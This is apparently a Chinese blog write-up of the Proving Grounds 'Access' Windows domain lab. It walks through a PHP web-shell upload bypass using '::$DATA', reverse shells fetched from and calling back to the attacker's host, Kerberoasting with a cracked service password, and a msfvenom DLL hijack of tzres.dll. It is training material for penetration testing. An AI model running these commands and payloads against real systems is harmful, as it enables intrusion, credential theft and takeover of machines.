Xavier's Blog一个安全工作者
Xavier's Blog一个安全工作者

ProvingGrounds Access Writeup

Xavier Xavier 收录于 靶场
 约 2900 字 预计阅读 6 分钟 - 次阅读  

Access

第14台，Windows系统，难度中等Intermediate，名称 Access

IP：192.168.xx.187

Port 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ sudo nmap -n -r --min-rate=3500 -sSV  -T4 192.168.167.187
[sudo] xavier 的密码：
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-11 23:53 CST
Nmap scan report for 192.168.167.187
Host is up (0.17s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-01-11 15:53:35Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: access.offsec0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: SERVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.97 seconds

Init Access

53-DNS

域传送失败

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

┌──(xavier㉿kali)-[~]
└─$ dnsrecon -d access.offsec -n 192.168.167.187 -t axfr
[*] Checking for Zone Transfer for access.offsec name servers
[*] Resolving SOA Record
[+]      SOA server.access.offsec 192.168.167.187
[*] Resolving NS Records
[*] NS Servers found:
[+]      NS server.access.offsec 192.168.167.187
[*] Removing any duplicate NS server IP Addresses...
[*]  
[*] Trying NS server 192.168.167.187
[+] 192.168.167.187 Has port 53 TCP Open
[-] Zone Transfer Failed (Zone transfer error: REFUSED)

88-Kerberos

域用户爆破

1
2

┌──(xavier㉿kali)-[~]
└─$ sudo nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="access.offsec",userdb="/usr/share/wordlists/seclists/Usernames/Names/names.txt" 192.168.167.187

无成果

80-http

Web扫描

1
2
3
4
5

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ dirsearch -x 400,403,404  -t 500 -e php,ini,txt,bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u http://192.168.167.187

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ dirsearch -x 400,404  -t 500 -e php,ini,txt,bak -u http://192.168.167.187

发下如下：

1

http://192.168.167.187/cgi-bin/printenv.pl		# 系统环境信息

对Web页面进行信息搜集，发现一个文件上传功能点

image-20240112003429974

尝试上传PHP文件失败

image-20240112003633057

尝试绕过

Web扫描时发现有

1
2
3
4
5
6

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ dirsearch -x 400,404  -t 500 -e php,ini,txt,bak -u http://192.168.167.187 
……
[00:08:28] 301 -  344B  - /uploads  ->  http://192.168.167.187/uploads/     
[00:08:28] 403 -  304B  - /web.config::$DATA                                
[00:08:29] 403 -  423B  - /webalizer

尝试使用::$DATA进行文件上传绕过，成功。

image-20240112003822462

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

POST /Ticket.php HTTP/1.1
Host: 192.168.167.187
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29739589853663594743950605566
Content-Length: 782
Origin: http://192.168.167.187
Connection: close
Referer: http://192.168.167.187/
Upgrade-Insecure-Requests: 1

-----------------------------29739589853663594743950605566
Content-Disposition: form-data; name="your-name"

tst
-----------------------------29739589853663594743950605566
Content-Disposition: form-data; name="your-email"

test@test.com
-----------------------------29739589853663594743950605566
Content-Disposition: form-data; name="ticket-type"

standard-access
-----------------------------29739589853663594743950605566
Content-Disposition: form-data; name="the_file"; filename="test.PHP::$DATA"
Content-Type:  application/x-php

<?php echo 123; echo system($_REQUEST['cmd']);  ?>
-----------------------------29739589853663594743950605566
Content-Disposition: form-data; name="submit"

Purchase
-----------------------------29739589853663594743950605566--

在uploads目录下找到所上传的文件，命令执行成功

1
2
3
4

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ curl "http://192.168.167.187/uploads/test.PHP?cmd=whoami"           
123access\svc_apache
access\svc_apache

下载nc，并进行反弹shell

1
2
3
4

cmd=mkdir+C:\tmp\
cmd=dir+C:\tmp\
cmd=curl+http://192.168.45.169/nc64.exe+-o+C:\tmp\nc.exe
cmd=C:\tmp\nc.exe+192.168.45.169+443+-e+powershell
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.169] from (UNKNOWN) [192.168.167.187] 50217
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs\uploads> whoami
whoami
access\svc_apache
PS C:\xampp\htdocs\uploads>

PrivE

上传工具

1
2
3
4

PS C:\tmp> curl http://192.168.45.169/winPEASany.exe -o C:\tmp\winPEASany.exe
PS C:\tmp> dir

PS C:\tmp> ./winPEASany.exe > 1.txt

SPN

在当前用户下没有local.txt文件，注意到还有另一个svc_mssql账户

1
2
3
4
5
6
7
8
9

PS C:\tmp> dir C:\users\
    Directory: C:\users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/28/2021   3:53 AM                Administrator
d-r---        5/28/2021   3:53 AM                Public
d-----         4/8/2022   2:39 AM                svc_apache
d-----         4/8/2022   2:40 AM                svc_mssql

搜集SPN，测试过程中发现kali自带的empire下的get-spn.ps1无法实现效果，于是从网上找了一个脚本，地址：https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# Source / credit:
# https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx

cls
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"

## You can use this to filter for OU's:
## $results = $search.Findall() | ?{ $_.path -like '*OU=whatever,DC=whatever,DC=whatever*' }
$results = $search.Findall()

foreach( $result in $results ) {
	$userEntry = $result.GetDirectoryEntry()
	Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
	Write-host "DN      =      "  $userEntry.distinguishedName
	Write-host "Object Cat. = "  $userEntry.objectCategory
	Write-host "servicePrincipalNames"

	$i=1
	foreach( $SPN in $userEntry.servicePrincipalName ) {
		Write-host "SPN(" $i ")   =      " $SPN
		$i+=1
	}
	Write-host ""
}

svc_mssql的SPN为 MSSQLSvc/DC.access.offsec

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

PS C:\tmp> iwr -uri http://192.168.45.169/Get-SPN.ps1 -o Get-SPN.ps1
iwr -uri http://192.168.45.169/Get-SPN.ps1 -o Get-SPN.ps1

PS C:\tmp> ./Get-SPN.ps1
./Get-SPN.ps1
Object Name =  SERVER
DN      =       CN=SERVER,OU=Domain Controllers,DC=access,DC=offsec
Object Cat. =  CN=Computer,CN=Schema,CN=Configuration,DC=access,DC=offsec
servicePrincipalNames
SPN( 1 )   =       Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/SERVER.access.offsec
SPN( 2 )   =       ldap/SERVER.access.offsec/ForestDnsZones.access.offsec
SPN( 3 )   =       ldap/SERVER.access.offsec/DomainDnsZones.access.offsec
SPN( 4 )   =       DNS/SERVER.access.offsec
SPN( 5 )   =       GC/SERVER.access.offsec/access.offsec
SPN( 6 )   =       RestrictedKrbHost/SERVER.access.offsec
SPN( 7 )   =       RestrictedKrbHost/SERVER
SPN( 8 )   =       RPC/20dae709-54fe-40ec-8c68-4475793b542a._msdcs.access.offsec
SPN( 9 )   =       HOST/SERVER/ACCESS
SPN( 10 )   =       HOST/SERVER.access.offsec/ACCESS
SPN( 11 )   =       HOST/SERVER
SPN( 12 )   =       HOST/SERVER.access.offsec
SPN( 13 )   =       HOST/SERVER.access.offsec/access.offsec
SPN( 14 )   =       E3514235-4B06-11D1-AB04-00C04FC2DCD2/20dae709-54fe-40ec-8c68-4475793b542a/access.offsec
SPN( 15 )   =       ldap/SERVER/ACCESS
SPN( 16 )   =       ldap/20dae709-54fe-40ec-8c68-4475793b542a._msdcs.access.offsec
SPN( 17 )   =       ldap/SERVER.access.offsec/ACCESS
SPN( 18 )   =       ldap/SERVER
SPN( 19 )   =       ldap/SERVER.access.offsec
SPN( 20 )   =       ldap/SERVER.access.offsec/access.offsec

Object Name =  krbtgt
DN      =       CN=krbtgt,CN=Users,DC=access,DC=offsec
Object Cat. =  CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec
servicePrincipalNames
SPN( 1 )   =       kadmin/changepw

Object Name =  MSSQL
DN      =       CN=MSSQL,CN=Users,DC=access,DC=offsec
Object Cat. =  CN=Person,CN=Schema,CN=Configuration,DC=access,DC=offsec
servicePrincipalNames
SPN( 1 )   =       MSSQLSvc/DC.access.offsec

PS C:\tmp>

Ticket

接下去获取svc_mssql的票据，使用如下命令将ticket存储在内存中：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

PS C:\tmp> Add-Type -AssemblyName System.IdentityModel
Add-Type -AssemblyName System.IdentityModel
PS C:\tmp> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList 'MSSQLSvc/DC.access.offsec'


Id                   : uuid-b4d9ac78-ba0f-45f4-8020-5dec3d5e6101-1
SecurityKeys         : {System.IdentityModel.Tokens.InMemorySymmetricSecurityKey}
ValidFrom            : 1/11/2024 5:44:07 PM
ValidTo              : 1/12/2024 3:44:07 AM
ServicePrincipalName : MSSQLSvc/DC.access.offsec
SecurityKey          : System.IdentityModel.Tokens.InMemorySymmetricSecurityKey

利用Empire 的 Invoke-Kerberoast.ps1 导出内存中的Kerberoast hash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

PS C:\tmp> iex(new-object net.webclient).downloadString('http://192.168.45.169/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat Hashcat


TicketByteHexStream  : 
Hash                 : $krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$600077ADCF96E989D8C9A8D1AE325F08
$A0DA4C8A4C76EB098A4567BBCA91C9883EAA1F35C75428CEE9F738D9044A5F0F41153B51832DA55E14097C267EA14BF
88A9861E14500A2E1E3D8E95269FD34FEA33A40EFF9658E40C8DADFDD868D17A49BDCD72575BBF060267B0F4F7617BFF
028165312F9D575F2189828715749CABD5AD9308D4BE166A4B3B3736ECFEC98367F0E43E93DE1E498F86AF3E8AB9B446
3448467DCBD60E25B8051656976F5D1B9DFCB02D3FABC7B1578FEC8570B4D606E6EADCC8A0BA80C9F2C1F2B395F46A2E
98008B02B42DABEF1800C3264B7BE558FFFF96FDC93D9133166124308C0CD7548827E217821ED41C05C1904665C711F9
E21C964A98A94D2568EF863542259C31B36457D146B93FAA8B682E48C49B1281C54D56051406869FE8683DF28D38A5BD
48503640ABBEB4AF5DDDA28046377D80D8A018D38E50EC925FD845838EFA60D34AA29E4BC1A1B0B54A8929546C9DC642
866C34ED547590237A04DE24E76D774467A7F42836C5ED87D9A50E0C7C225B7F107F16135CE4063507BC8B9DA72AD454
92FBFC6E37B946A0D66D109D4C41923D174B63F3AB9C41B2F8DFD814B0B01C9178B48C0C851FD623E8FEAB6FCC83BCF7
358C87BF4D3CAABF382DFB4E660116DA8604CFD0C83847064DF06CF15479583E7D108552E5E914DD6DBB12CA6AE6561B
85F54A84ECBD92CA3C64EA8D27D80904E5FB0554B7FC04A3C49A237BB12D7D22D5384C1A7A7F81E1C8CC22A9C9C860F4
F66D4F469FDD8D02752E547A604627EA2C1CE1110D7F4B5BA374DF19E5CD003F7F9ACEBCD65346276503E304D98E952A
2ACE9586F012BDAB4DAB26A176A93B0F82CA65A7D39175DC2A9F14BD8B6B9079AE1324E0A64CF24539A616012773C0E3
214C62366F1F4FE67508262DD9402DB08A93B8485C3E61E843788517AD4B70A937667585493540EE55837097DA324686
EA8AE61DAA9F6B4CB4AA98D2E870DEFEB33DD2BFBE0C7758E57EB3C10F08B67484339CB877C327B63A1D37E5FDFD9478
35BCBB3B24A742C64CF98316B20C14973A8A32C61A739E7B0C40D59777C2BE502E79AC51571E9A1E3A8F9AC8BB8B024D
742106656D1F4CBA5D5C7DB50D2EFA204A50ABC665F6BB86B1DC18F9A8C3E4F7413BFCB2B504F6C353709CE120885AD6
2A7A11F22D2F4B95A7B2D8ADE89F25A344CE6E85B4A1E33072D43A7838A25DCBFFC7110E559C15D54C39BC4BD287387A
C4099BF18D926CD464F9A4F2927DA5944360A8ECB1CC5998AF1017554E58CCE2E1BEDBD4A0BC4DEAEB97F914BA05B184
D522ACA5FA8FEF3F5DAC9D71C1E0C7A8E72AD7D98C114C156A05D695AC5CDBEFAD407BB65FBFE8955E58C4DE0519EBBA
102F46241BD2C3EE053FF2E5D78493CDF75CC113CF3FC3A72E0B22F24D9845385A8613C5E30DA408D7095806607EBD04
797BF7FE35EB5AF096B0A144D92B103C9FB30F150C2EEFAC49737DEBF38B781822E39409BCFF12657F2E1CFDB0DA7168
EFA2DD9CB42D6694C4FF65AEC36E529E4DD06E66384E7AEF3AF37A9F45DC9DCC99C57F5E94A36661517037FBC81FEF72
81940B899A369EC5EC91804161EDA0B3E4BA39E7957A85027DB3825FA0AA490B74514
SamAccountName       : svc_mssql
DistinguishedName    : CN=MSSQL,CN=Users,DC=access,DC=offsec
ServicePrincipalName : MSSQLSvc/DC.access.offsec

image-20240112015440644

Crack Hash

整理hash格式写入文件

使用hashcat进行破解

1
2
3

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ hashcat -m 13100 mssql.hash /usr/share/wordlists/rockyou.txt  --force -a 0 --show
$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$600077adcf96e989d8c9a8d1ae325f08$a0da4c8a4c76eb098a4567bbca91c9883eaa1f35c75428cee9f738d9044a5f0f41153b51832da55e14097c267ea14bf88a9861e14500a2e1e3d8e95269fd34fea33a40eff9658e40c8dadfdd868d17a49bdcd72575bbf060267b0f4f7617bff028165312f9d575f2189828715749cabd5ad9308d4be166a4b3b3736ecfec98367f0e43e93de1e498f86af3e8ab9b4463448467dcbd60e25b8051656976f5d1b9dfcb02d3fabc7b1578fec8570b4d606e6eadcc8a0ba80c9f2c1f2b395f46a2e98008b02b42dabef1800c3264b7be558ffff96fdc93d9133166124308c0cd7548827e217821ed41c05c1904665c711f9e21c964a98a94d2568ef863542259c31b36457d146b93faa8b682e48c49b1281c54d56051406869fe8683df28d38a5bd48503640abbeb4af5ddda28046377d80d8a018d38e50ec925fd845838efa60d34aa29e4bc1a1b0b54a8929546c9dc642866c34ed547590237a04de24e76d774467a7f42836c5ed87d9a50e0c7c225b7f107f16135ce4063507bc8b9da72ad45492fbfc6e37b946a0d66d109d4c41923d174b63f3ab9c41b2f8dfd814b0b01c9178b48c0c851fd623e8feab6fcc83bcf7358c87bf4d3caabf382dfb4e660116da8604cfd0c83847064df06cf15479583e7d108552e5e914dd6dbb12ca6ae6561b85f54a84ecbd92ca3c64ea8d27d80904e5fb0554b7fc04a3c49a237bb12d7d22d5384c1a7a7f81e1c8cc22a9c9c860f4f66d4f469fdd8d02752e547a604627ea2c1ce1110d7f4b5ba374df19e5cd003f7f9acebcd65346276503e304d98e952a2ace9586f012bdab4dab26a176a93b0f82ca65a7d39175dc2a9f14bd8b6b9079ae1324e0a64cf24539a616012773c0e3214c62366f1f4fe67508262dd9402db08a93b8485c3e61e843788517ad4b70a937667585493540ee55837097da324686ea8ae61daa9f6b4cb4aa98d2e870defeb33dd2bfbe0c7758e57eb3c10f08b67484339cb877c327b63a1d37e5fdfd947835bcbb3b24a742c64cf98316b20c14973a8a32c61a739e7b0c40d59777c2be502e79ac51571e9a1e3a8f9ac8bb8b024d742106656d1f4cba5d5c7db50d2efa204a50abc665f6bb86b1dc18f9a8c3e4f7413bfcb2b504f6c353709ce120885ad62a7a11f22d2f4b95a7b2d8ade89f25a344ce6e85b4a1e33072d43a7838a25dcbffc7110e559c15d54c39bc4bd287387ac4099bf18d926cd464f9a4f2927da5944360a8ecb1cc5998af1017554e58cce2e1bedbd4a0bc4deaeb97f914ba05b184d522aca5fa8fef3f5dac9d71c1e0c7a8e72ad7d98c114c156a05d695ac5cdbefad407bb65fbfe8955e58c4de0519ebba102f46241bd2c3ee053ff2e5d78493cdf75cc113cf3fc3a72e0b22f24d9845385a8613c5e30da408d7095806607ebd04797bf7fe35eb5af096b0a144d92b103c9fb30f150c2eefac49737debf38b781822e39409bcff12657f2e1cfdb0da7168efa2dd9cb42d6694c4ff65aec36e529e4dd06e66384e7aef3af37a9f45dc9dcc99c57f5e94a36661517037fbc81fef7281940b899a369ec5ec91804161eda0b3e4ba39e7957a85027db3825fa0aa490b74514:trustno1

RunasCs

接下去需要获取mssql身份的反弹shell，可以使用"Invoke-RunasCs.ps1“这个脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

PS C:\tmp> curl https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1 -o Invoke-RunasCs.ps1
curl https://raw.githubusercontent.com/antonioCoco/RunasCs/master/Invoke-RunasCs.ps1 -o Invoke-RunasCs.ps1
PS C:\tmp> ls

    Directory: C:\tmp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/11/2024   8:50 AM         498700 1.txt
-a----        1/11/2024   9:06 AM              0 2.txt
-a----        1/11/2024   9:38 AM            883 Get-SPN.ps1
-a----        1/11/2024   9:46 AM          46818 Invoke-Kerberoast.ps1
-a----        1/11/2024  10:09 AM          88284 Invoke-RunasCs.ps1
-a----        1/11/2024   8:45 AM          43696 nc.exe
-a----        1/11/2024   8:49 AM        2029568 winPEASany.exe


PS C:\tmp> import-module ./Invoke-RunasCs.ps1
import-module ./Invoke-RunasCs.ps1
PS C:\tmp> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

access\svc_mssql

PS C:\tmp> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\tmp\nc.exe 192.168.45.169 7777 -e powershell"
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\tmp\nc.exe 192.168.45.169 7777 -e powershell"
[*] Warning: The logon for user 'svc_mssql' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

image-20240112021350288

1
2
3
4
5

PS C:\Windows\system32> cd C:\users\svc_mssql\Desktop\
cd C:\users\svc_mssql\Desktop\
PS C:\users\svc_mssql\Desktop> cat local.txt
cat local.txt
ac7cd92298a3ec65de98ea4c51f9e95e

PrivE

再次进行信息搜集

发现当前用户权限如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

PS C:\tmp> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                      State   
============================= ================================ ========
SeMachineAccountPrivilege     Add workstations to domain       Disabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled 
SeManageVolumePrivilege       Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Disabled

其中SeManageVolumePrivilege权限可被用于提权，相关链接：https://github.com/xct/SeManageVolumeAbuse

需要用vs stuido手动编译一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

PS C:\tmp> curl http://192.168.45.169/SeManageVolumeAbuse.exe -o SeManageVolumeAbuse.exe
curl http://192.168.45.169/SeManageVolumeAbuse.exe -o SeManageVolumeAbuse.exe

PS C:\tmp> ./SeManageVolumeAbuse.exe
./SeManageVolumeAbuse.exe
Success! Permissions changed.
PS C:\tmp> icacls C:/windows
icacls C:/windows
C:/windows NT SERVICE\TrustedInstaller:(F)
           NT SERVICE\TrustedInstaller:(CI)(IO)(F)
           NT AUTHORITY\SYSTEM:(M)
           NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
           BUILTIN\Users:(M)
           BUILTIN\Users:(OI)(CI)(IO)(F)
           BUILTIN\Users:(RX)
           BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
           CREATOR OWNER:(OI)(CI)(IO)(F)
           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
           APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
           APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files
PS C:\tmp>

接下去要上传 tzres.dll到 C:\Windows\System32\wbem\tzres.dll，再通过systeminfo命令去触发它

使用msfvenom生成一个64位反弹shell的dll文件

1
2
3
4
5
6
7
8

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.169 LPORT=4444 -f dll -o tzres.dll 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: tzres.dll
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

PS C:\tmp> curl http://192.168.45.169/tzres.dll -o tzres.dll                                                                          
curl http://192.168.45.169/tzres.dll -o tzres.dll                                                                                     
PS C:\tmp> cp tzres.dll C:\Windows\System32\wbem\tzres.dll
cp tzres.dll C:\Windows\System32\wbem\tzres.dll
PS C:\tmp> systeminfo > 5.txt
systeminfo > 5.txt
systeminfo : ERROR: The remote procedure call failed.
At line:1 char:1
+ systeminfo > 5.txt
+ ~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (ERROR: The remote procedure call failed.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
 
PS C:\tmp>

收到反弹shell：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/Access]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.169] from (UNKNOWN) [192.168.167.187] 50960
Microsoft Windows [Version 10.0.17763.2746]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\network service

C:\Windows\system32>cd C:\users\administrator\desktop\
cd C:\users\administrator\desktop\

C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
d0be636ebf08cd4c91a276012f25a135

image-20240112024650736

更新于 2024-01-12 
OSCPPG_Practice
返回 | 主页
0%